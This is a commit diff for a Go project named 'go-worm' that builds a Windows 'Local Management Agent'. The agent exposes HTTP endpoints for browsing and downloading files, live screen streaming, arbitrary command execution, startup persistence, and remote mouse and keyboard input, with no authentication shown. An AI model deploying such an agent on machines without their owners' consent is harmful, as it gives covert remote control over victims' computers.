Compare commits
6
Commits
f0515d7342
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
16d7aa75b3 | ||
|
|
f24e31da27 | ||
|
|
15f7fd91ab | ||
|
|
fe77f17ac9 | ||
|
|
3b30bfe4c3 | ||
|
|
4795c25da7 |
+36
@@ -0,0 +1,36 @@
|
|||||||
|
# Build output
|
||||||
|
/localagent.exe
|
||||||
|
*.exe
|
||||||
|
*.exe~
|
||||||
|
*.dll
|
||||||
|
*.so
|
||||||
|
*.dylib
|
||||||
|
|
||||||
|
# Tests and coverage
|
||||||
|
*.test
|
||||||
|
*.out
|
||||||
|
coverage.out
|
||||||
|
coverage.html
|
||||||
|
|
||||||
|
# Go workspace
|
||||||
|
go.work
|
||||||
|
go.work.sum
|
||||||
|
|
||||||
|
# Vendor (this repo uses modules)
|
||||||
|
/vendor/
|
||||||
|
|
||||||
|
# Environment
|
||||||
|
.env
|
||||||
|
.env.*
|
||||||
|
|
||||||
|
# OS
|
||||||
|
.DS_Store
|
||||||
|
Thumbs.db
|
||||||
|
desktop.ini
|
||||||
|
|
||||||
|
# Editors
|
||||||
|
.idea/
|
||||||
|
.vscode/
|
||||||
|
*.swp
|
||||||
|
*.swo
|
||||||
|
*~
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
```
|
||||||
|
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe .
|
||||||
|
```
|
||||||
+6
-1
@@ -14,6 +14,7 @@ import (
|
|||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -42,6 +43,7 @@ func New() (*Agent, error) {
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
a.guard = guard
|
a.guard = guard
|
||||||
|
input.EnableDPIAwareness()
|
||||||
return a, nil
|
return a, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -53,7 +55,7 @@ func (a *Agent) Close() {
|
|||||||
|
|
||||||
func (a *Agent) Serve() error {
|
func (a *Agent) Serve() error {
|
||||||
mux := http.NewServeMux()
|
mux := http.NewServeMux()
|
||||||
mux.HandleFunc("/", a.handleIndex)
|
mux.HandleFunc("/", a.handleWeb)
|
||||||
mux.HandleFunc("/health", a.handleHealth)
|
mux.HandleFunc("/health", a.handleHealth)
|
||||||
mux.HandleFunc("/healthz", a.handleHealth)
|
mux.HandleFunc("/healthz", a.handleHealth)
|
||||||
mux.HandleFunc("/openapi.json", a.handleOpenAPI)
|
mux.HandleFunc("/openapi.json", a.handleOpenAPI)
|
||||||
@@ -62,6 +64,9 @@ func (a *Agent) Serve() error {
|
|||||||
mux.HandleFunc("/api/v1/download", a.handleDownload)
|
mux.HandleFunc("/api/v1/download", a.handleDownload)
|
||||||
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
||||||
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
||||||
|
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||||
|
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
||||||
|
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
||||||
|
|
||||||
a.server = &http.Server{
|
a.server = &http.Server{
|
||||||
Addr: a.addr,
|
Addr: a.addr,
|
||||||
|
|||||||
+114
-23
@@ -2,7 +2,6 @@ package agent
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"encoding/base64"
|
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"errors"
|
"errors"
|
||||||
"io"
|
"io"
|
||||||
@@ -19,19 +18,12 @@ import (
|
|||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (a *Agent) handleIndex(w http.ResponseWriter, r *http.Request) {
|
|
||||||
if r.URL.Path != "/" || r.Method != http.MethodGet {
|
|
||||||
helpers.WriteError(w, http.StatusNotFound, "endpoint not found")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
|
||||||
_, _ = io.WriteString(w, `<!doctype html><html><head><meta charset="utf-8"><title>Local Management Agent</title><style>body{font:16px system-ui;max-width:900px;margin:3rem auto;color:#1f2937}code{background:#f3f4f6;padding:.15rem .3rem;border-radius:3px}li{margin:.5rem 0}</style></head><body><h1>Local Management Agent</h1><p>Version `+config.Version+`</p><h2>Endpoints</h2><ul><li><code>GET /health</code></li><li><code>GET /api/v1/status</code></li><li><code>GET /api/v1/files?path=C:\&depth=0</code></li><li><code>GET /api/v1/download?path=C:\path\file.txt</code></li><li><code>GET /api/v1/screenshot?format=png</code></li><li><code>POST /api/v1/exec</code></li></ul><h2>Examples</h2><p><code>curl http://HOST:5032/api/v1/status</code></p><p><code>curl -o screen.png http://HOST:5032/api/v1/screenshot?format=png</code></p><p><code>curl -X POST http://HOST:5032/api/v1/exec -H "Content-Type: application/json" -d "{\"command\":\"ipconfig /all\"}"</code></p></body></html>`)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
|
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
|
||||||
if r.Method != http.MethodGet {
|
if r.Method != http.MethodGet {
|
||||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
@@ -53,6 +45,9 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
|||||||
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
|
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
|
||||||
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
|
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
|
||||||
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
|
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
|
||||||
|
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
|
||||||
|
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
|
||||||
|
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -67,9 +62,31 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
|
|||||||
"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
|
"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
|
||||||
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
||||||
"agent_version": config.Version, "listen_address": a.addr,
|
"agent_version": config.Version, "listen_address": a.addr,
|
||||||
|
"startup_enabled": startup.Enabled(),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
|
||||||
|
switch r.Method {
|
||||||
|
case http.MethodPost:
|
||||||
|
if err := startup.Enable(); err != nil {
|
||||||
|
helpers.Log.Printf("startup enable: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
case http.MethodDelete:
|
||||||
|
if err := startup.Disable(); err != nil {
|
||||||
|
helpers.Log.Printf("startup disable: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
|
||||||
|
}
|
||||||
|
|
||||||
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
||||||
if r.Method != http.MethodGet {
|
if r.Method != http.MethodGet {
|
||||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
@@ -172,27 +189,101 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
images, err := screenshot.Capture(format, quality)
|
monitor := 0
|
||||||
|
if raw := r.URL.Query().Get("monitor"); raw != "" {
|
||||||
|
var err error
|
||||||
|
monitor, err = strconv.Atoi(raw)
|
||||||
|
if err != nil || monitor < 0 {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "monitor must be 0 or greater")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
frame, err := screenshot.CaptureMonitor(monitor, format, quality)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
if errors.Is(err, screenshot.ErrMonitorNotFound) {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
helpers.Log.Printf("screenshot: %v", err)
|
helpers.Log.Printf("screenshot: %v", err)
|
||||||
helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available")
|
helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if len(images) == 1 {
|
w.Header().Set("Content-Type", frame.ContentType)
|
||||||
w.Header().Set("Content-Type", images[0].ContentType)
|
w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data)))
|
||||||
w.Header().Set("Content-Length", strconv.Itoa(len(images[0].Data)))
|
w.Header().Set("X-Monitor-Left", strconv.Itoa(frame.Left))
|
||||||
_, _ = w.Write(images[0].Data)
|
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
|
||||||
|
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
|
||||||
|
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
|
||||||
|
_, _ = w.Write(frame.Data)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
response := models.ScreenshotResponse{Images: make([]models.ScreenshotImage, 0, len(images))}
|
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||||
for i, item := range images {
|
defer r.Body.Close()
|
||||||
response.Images = append(response.Images, models.ScreenshotImage{
|
var request models.ClickRequest
|
||||||
Monitor: i,
|
decoder := json.NewDecoder(r.Body)
|
||||||
ContentType: item.ContentType,
|
decoder.DisallowUnknownFields()
|
||||||
DataBase64: base64.StdEncoding.EncodeToString(item.Data),
|
if err := decoder.Decode(&request); err != nil {
|
||||||
})
|
helpers.WriteError(w, http.StatusBadRequest, "body must contain click coordinates")
|
||||||
|
return
|
||||||
}
|
}
|
||||||
helpers.WriteJSON(w, http.StatusOK, response)
|
left, top, width, height, err := screenshot.MonitorBounds(request.Monitor)
|
||||||
|
if err != nil {
|
||||||
|
if errors.Is(err, screenshot.ErrMonitorNotFound) {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "monitor not found")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if request.X < left || request.Y < top || request.X >= left+width || request.Y >= top+height {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "click is outside the selected monitor")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := input.Click(request.X, request.Y, request.Button); err != nil {
|
||||||
|
if errors.Is(err, input.ErrBadButton) {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.Log.Printf("click: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, "could not click")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "x": request.X, "y": request.Y})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||||
|
defer r.Body.Close()
|
||||||
|
var request models.TextRequest
|
||||||
|
decoder := json.NewDecoder(r.Body)
|
||||||
|
decoder.DisallowUnknownFields()
|
||||||
|
if err := decoder.Decode(&request); err != nil {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "body must contain text")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if request.Text == "" {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, input.ErrEmptyText.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if len(request.Text) > config.MaxInputText {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "text is too long")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := input.TypeText(request.Text); err != nil {
|
||||||
|
helpers.Log.Printf("text: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, "could not type text")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "length": len(request.Text)})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
|
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
|
||||||
|
|||||||
@@ -0,0 +1,39 @@
|
|||||||
|
package agent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"embed"
|
||||||
|
"net/http"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
|
)
|
||||||
|
|
||||||
|
//go:embed web/index.html web/app.js
|
||||||
|
var webFS embed.FS
|
||||||
|
|
||||||
|
func (a *Agent) handleWeb(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodGet {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
name := ""
|
||||||
|
contentType := ""
|
||||||
|
switch r.URL.Path {
|
||||||
|
case "/", "/index.html":
|
||||||
|
name = "web/index.html"
|
||||||
|
contentType = "text/html; charset=utf-8"
|
||||||
|
case "/app.js":
|
||||||
|
name = "web/app.js"
|
||||||
|
contentType = "text/javascript; charset=utf-8"
|
||||||
|
default:
|
||||||
|
helpers.WriteError(w, http.StatusNotFound, "endpoint not found")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
data, err := webFS.ReadFile(name)
|
||||||
|
if err != nil {
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, "ui asset missing")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
w.Header().Set("Content-Type", contentType)
|
||||||
|
w.Header().Set("Cache-Control", "no-cache")
|
||||||
|
_, _ = w.Write(data)
|
||||||
|
}
|
||||||
@@ -0,0 +1,363 @@
|
|||||||
|
(() => {
|
||||||
|
const errorEl = document.getElementById("error");
|
||||||
|
const healthEl = document.getElementById("health");
|
||||||
|
const statusFields = document.getElementById("status-fields");
|
||||||
|
const pathInput = document.getElementById("file-path");
|
||||||
|
const fileMeta = document.getElementById("file-meta");
|
||||||
|
const fileRows = document.getElementById("file-rows");
|
||||||
|
const shotGallery = document.getElementById("shot-gallery");
|
||||||
|
const execOut = document.getElementById("exec-out");
|
||||||
|
const execMeta = document.getElementById("exec-meta");
|
||||||
|
const startupState = document.getElementById("startup-state");
|
||||||
|
const startupAdd = document.getElementById("startup-add");
|
||||||
|
const startupRemove = document.getElementById("startup-remove");
|
||||||
|
const videoCanvas = document.getElementById("video-canvas");
|
||||||
|
const videoMeta = document.getElementById("video-meta");
|
||||||
|
const videoStart = document.getElementById("video-start");
|
||||||
|
const videoStop = document.getElementById("video-stop");
|
||||||
|
|
||||||
|
let objectUrls = [];
|
||||||
|
let videoRunning = false;
|
||||||
|
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
|
||||||
|
|
||||||
|
function showError(message) {
|
||||||
|
errorEl.textContent = message || "";
|
||||||
|
errorEl.classList.toggle("show", Boolean(message));
|
||||||
|
}
|
||||||
|
|
||||||
|
async function readError(res) {
|
||||||
|
try {
|
||||||
|
const data = await res.json();
|
||||||
|
return data.error || res.statusText;
|
||||||
|
} catch {
|
||||||
|
return res.statusText || "request failed";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function api(url, options) {
|
||||||
|
showError("");
|
||||||
|
const res = await fetch(url, options);
|
||||||
|
if (!res.ok) {
|
||||||
|
throw new Error(await readError(res));
|
||||||
|
}
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatBytes(n) {
|
||||||
|
if (n < 1024) return `${n} B`;
|
||||||
|
const units = ["KB", "MB", "GB", "TB"];
|
||||||
|
let value = n / 1024;
|
||||||
|
let i = 0;
|
||||||
|
while (value >= 1024 && i < units.length - 1) {
|
||||||
|
value /= 1024;
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
return `${value.toFixed(value >= 10 ? 0 : 1)} ${units[i]}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function joinPath(base, name) {
|
||||||
|
if (!base) return name;
|
||||||
|
if (/[\\/]$/.test(base)) return base + name;
|
||||||
|
return `${base}\\${name}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function parentPath(path) {
|
||||||
|
const trimmed = String(path || "").replace(/[\\/]+$/, "");
|
||||||
|
const idx = Math.max(trimmed.lastIndexOf("\\"), trimmed.lastIndexOf("/"));
|
||||||
|
if (idx <= 2) return trimmed.slice(0, 3);
|
||||||
|
return trimmed.slice(0, idx);
|
||||||
|
}
|
||||||
|
|
||||||
|
function revokeShots() {
|
||||||
|
for (const url of objectUrls) URL.revokeObjectURL(url);
|
||||||
|
objectUrls = [];
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadHealth() {
|
||||||
|
try {
|
||||||
|
const res = await api("/health");
|
||||||
|
const data = await res.json();
|
||||||
|
healthEl.textContent = data.status === "ok" ? "online" : data.status;
|
||||||
|
healthEl.className = "badge ok";
|
||||||
|
} catch (err) {
|
||||||
|
healthEl.textContent = "offline";
|
||||||
|
healthEl.className = "badge bad";
|
||||||
|
showError(err.message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadStatus() {
|
||||||
|
const res = await api("/api/v1/status");
|
||||||
|
const data = await res.json();
|
||||||
|
const fields = [
|
||||||
|
["Hostname", data.hostname],
|
||||||
|
["User", data.user],
|
||||||
|
["OS", data.os],
|
||||||
|
["Architecture", data.architecture],
|
||||||
|
["Version", data.agent_version],
|
||||||
|
["Listen", data.listen_address],
|
||||||
|
["Uptime", `${data.uptime_seconds}s`],
|
||||||
|
["Local IPs", (data.local_ips || []).join(", ") || "—"],
|
||||||
|
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
||||||
|
];
|
||||||
|
setStartup(Boolean(data.startup_enabled));
|
||||||
|
statusFields.replaceChildren(
|
||||||
|
...fields.flatMap(([label, value]) => {
|
||||||
|
const dt = document.createElement("dt");
|
||||||
|
dt.textContent = label;
|
||||||
|
const dd = document.createElement("dd");
|
||||||
|
dd.textContent = value || "—";
|
||||||
|
return [dt, dd];
|
||||||
|
})
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function listFiles(path) {
|
||||||
|
const query = new URLSearchParams();
|
||||||
|
if (path) query.set("path", path);
|
||||||
|
query.set("depth", "0");
|
||||||
|
const res = await api(`/api/v1/files?${query}`);
|
||||||
|
const data = await res.json();
|
||||||
|
pathInput.value = data.path || "";
|
||||||
|
const entries = data.entries || [];
|
||||||
|
fileMeta.textContent = `${entries.length} entries`;
|
||||||
|
fileRows.replaceChildren();
|
||||||
|
for (const entry of entries) {
|
||||||
|
const tr = document.createElement("tr");
|
||||||
|
const name = document.createElement("td");
|
||||||
|
name.className = entry.type === "dir" ? "name" : "name file";
|
||||||
|
name.textContent = entry.name;
|
||||||
|
name.addEventListener("click", () => {
|
||||||
|
const full = joinPath(data.path, entry.name);
|
||||||
|
if (entry.type === "dir") {
|
||||||
|
listFiles(full).catch((err) => showError(err.message));
|
||||||
|
} else {
|
||||||
|
const link = document.createElement("a");
|
||||||
|
link.href = `/api/v1/download?path=${encodeURIComponent(full)}`;
|
||||||
|
link.download = entry.name;
|
||||||
|
document.body.append(link);
|
||||||
|
link.click();
|
||||||
|
link.remove();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
const type = document.createElement("td");
|
||||||
|
type.textContent = entry.type;
|
||||||
|
const size = document.createElement("td");
|
||||||
|
size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0);
|
||||||
|
const modified = document.createElement("td");
|
||||||
|
modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : "";
|
||||||
|
tr.append(name, type, size, modified);
|
||||||
|
fileRows.append(tr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function captureScreen() {
|
||||||
|
revokeShots();
|
||||||
|
shotGallery.replaceChildren();
|
||||||
|
const format = document.getElementById("shot-format").value;
|
||||||
|
const quality = document.getElementById("shot-quality").value;
|
||||||
|
const res = await api(`/api/v1/screenshot?format=${encodeURIComponent(format)}&quality=${encodeURIComponent(quality)}`);
|
||||||
|
const contentType = res.headers.get("content-type") || "";
|
||||||
|
if (contentType.includes("application/json")) {
|
||||||
|
const data = await res.json();
|
||||||
|
for (const image of data.images || []) {
|
||||||
|
addShot(base64Blob(image.data_base64, image.content_type), `Monitor ${image.monitor}`);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
addShot(await res.blob(), "Display");
|
||||||
|
}
|
||||||
|
|
||||||
|
function base64Blob(data, contentType) {
|
||||||
|
const binary = atob(data);
|
||||||
|
const bytes = new Uint8Array(binary.length);
|
||||||
|
for (let i = 0; i < binary.length; i += 1) {
|
||||||
|
bytes[i] = binary.charCodeAt(i);
|
||||||
|
}
|
||||||
|
return new Blob([bytes], { type: contentType || "application/octet-stream" });
|
||||||
|
}
|
||||||
|
|
||||||
|
function addShot(blob, caption) {
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
objectUrls.push(url);
|
||||||
|
const figure = document.createElement("figure");
|
||||||
|
const img = document.createElement("img");
|
||||||
|
img.src = url;
|
||||||
|
img.alt = caption;
|
||||||
|
const figcaption = document.createElement("figcaption");
|
||||||
|
figcaption.className = "meta";
|
||||||
|
figcaption.textContent = caption;
|
||||||
|
figure.append(img, figcaption);
|
||||||
|
shotGallery.append(figure);
|
||||||
|
}
|
||||||
|
|
||||||
|
function setStartup(enabled) {
|
||||||
|
startupState.textContent = enabled ? "Startup: enabled" : "Startup: disabled";
|
||||||
|
startupAdd.disabled = enabled;
|
||||||
|
startupRemove.disabled = !enabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function setStartupEnabled(enabled) {
|
||||||
|
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
|
||||||
|
const data = await res.json();
|
||||||
|
setStartup(Boolean(data.startup_enabled));
|
||||||
|
loadStatus().catch((err) => showError(err.message));
|
||||||
|
}
|
||||||
|
|
||||||
|
function clamp(value, min, max) {
|
||||||
|
const n = Number(value);
|
||||||
|
if (!Number.isFinite(n)) return min;
|
||||||
|
return Math.min(max, Math.max(min, Math.round(n)));
|
||||||
|
}
|
||||||
|
|
||||||
|
function sleep(ms) {
|
||||||
|
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||||
|
}
|
||||||
|
|
||||||
|
async function startVideo() {
|
||||||
|
if (videoRunning) return;
|
||||||
|
videoRunning = true;
|
||||||
|
videoStart.disabled = true;
|
||||||
|
videoStop.disabled = false;
|
||||||
|
while (videoRunning) {
|
||||||
|
const started = Date.now();
|
||||||
|
try {
|
||||||
|
await pullVideoFrame();
|
||||||
|
} catch (err) {
|
||||||
|
showError(err.message);
|
||||||
|
}
|
||||||
|
if (!videoRunning) break;
|
||||||
|
const fps = clamp(document.getElementById("video-fps").value, 1, 15);
|
||||||
|
await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function stopVideo() {
|
||||||
|
videoRunning = false;
|
||||||
|
videoStart.disabled = false;
|
||||||
|
videoStop.disabled = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function pullVideoFrame() {
|
||||||
|
const quality = clamp(document.getElementById("video-quality").value, 1, 100);
|
||||||
|
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
|
||||||
|
const res = await api(`/api/v1/screenshot?format=jpeg&quality=${quality}&monitor=${monitor}`);
|
||||||
|
lastMonitor = {
|
||||||
|
left: Number(res.headers.get("X-Monitor-Left") || 0),
|
||||||
|
top: Number(res.headers.get("X-Monitor-Top") || 0),
|
||||||
|
width: Number(res.headers.get("X-Monitor-Width") || 0),
|
||||||
|
height: Number(res.headers.get("X-Monitor-Height") || 0),
|
||||||
|
};
|
||||||
|
const blob = await res.blob();
|
||||||
|
const bitmap = await createImageBitmap(blob);
|
||||||
|
if (videoCanvas.width !== bitmap.width || videoCanvas.height !== bitmap.height) {
|
||||||
|
videoCanvas.width = bitmap.width;
|
||||||
|
videoCanvas.height = bitmap.height;
|
||||||
|
}
|
||||||
|
const ctx = videoCanvas.getContext("2d");
|
||||||
|
ctx.drawImage(bitmap, 0, 0);
|
||||||
|
const width = bitmap.width;
|
||||||
|
const height = bitmap.height;
|
||||||
|
bitmap.close();
|
||||||
|
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function sendClick(event, button) {
|
||||||
|
if (!lastMonitor.width || !lastMonitor.height) return;
|
||||||
|
const rect = videoCanvas.getBoundingClientRect();
|
||||||
|
if (!rect.width || !rect.height) return;
|
||||||
|
const bitmapX = Math.floor((event.clientX - rect.left) * (videoCanvas.width / rect.width));
|
||||||
|
const bitmapY = Math.floor((event.clientY - rect.top) * (videoCanvas.height / rect.height));
|
||||||
|
const x = lastMonitor.left + bitmapX;
|
||||||
|
const y = lastMonitor.top + bitmapY;
|
||||||
|
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
|
||||||
|
await api("/api/v1/input/click", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ x, y, button, monitor }),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function sendVideoText() {
|
||||||
|
const field = document.getElementById("video-text");
|
||||||
|
const text = field.value;
|
||||||
|
if (!text) return;
|
||||||
|
await api("/api/v1/input/text", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ text }),
|
||||||
|
});
|
||||||
|
field.value = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
async function runCommand() {
|
||||||
|
const command = document.getElementById("exec-command").value.trim();
|
||||||
|
const timeout = Number(document.getElementById("exec-timeout").value);
|
||||||
|
const res = await api("/api/v1/exec", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ command, timeout_sec: timeout }),
|
||||||
|
});
|
||||||
|
const data = await res.json();
|
||||||
|
execMeta.textContent = `exit code ${data.exit_code}`;
|
||||||
|
const stdout = data.stdout || "";
|
||||||
|
const stderr = data.stderr || "";
|
||||||
|
execOut.textContent = [stdout, stderr && `STDERR:\n${stderr}`].filter(Boolean).join("\n\n");
|
||||||
|
}
|
||||||
|
|
